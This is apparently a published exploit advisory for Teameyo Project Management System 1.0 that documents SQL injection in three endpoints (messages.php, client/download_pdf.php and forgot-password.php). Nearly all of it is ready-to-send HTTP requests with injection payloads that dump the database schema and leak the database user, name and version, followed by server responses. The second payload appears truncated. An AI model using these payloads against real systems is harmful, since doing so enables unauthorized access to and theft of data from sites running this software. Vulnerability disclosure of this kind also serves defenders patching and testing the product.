Teameyo Project Management System 1.0 - SQL Injection

# Exploit Title: Teameyo - Project Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-28
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.teameyo.com/
# Software Link: https://codecanyon.net/item/teameyo-project-management-system/23142804
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/messages.php?project_id=[SQL]
# 

GET /[PATH]/messages.php?project_id=-48%27%20union%20select%20(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=1ug6oq40f09kft3jqncc4pco71
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Jan 2019 17:29:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Powered-By: PHP/7.2.14, PleskLin

# POC: 
# 2)
# http://localhost/[PATH]/client/download_pdf.php
# 

POST /[PATH]/client/download_pdf.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 340
Cookie: PHPSESSID=1ug6oq40f09kft3jqncc4pco71
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
milestone_id=%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c(SELECT(@x)FROM(SELECT(@x: =0x00),(@NR
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Jan 2019 17:37:03 GMT
Content-Type: application/pdf
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1
Pragma: public
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 27 Jan 2019 17:37:03 GMT
Content-Disposition: inline; filename="invoice.pdf"
X-Powered-By: PHP/7.2.14, PleskLin

# POC: 
# 3)
# http://localhost/[PATH]/forgot-password.php 
# 

POST /[PATH]/forgot-password.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 298
Cookie: PHPSESSID=1ug6oq40f09kft3jqncc4pco71
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&forgot-password=FORGET%2BPASSWORD: undefined
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Jan 2019 17:44:33 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Powered-By: PHP/7.2.14, PleskLin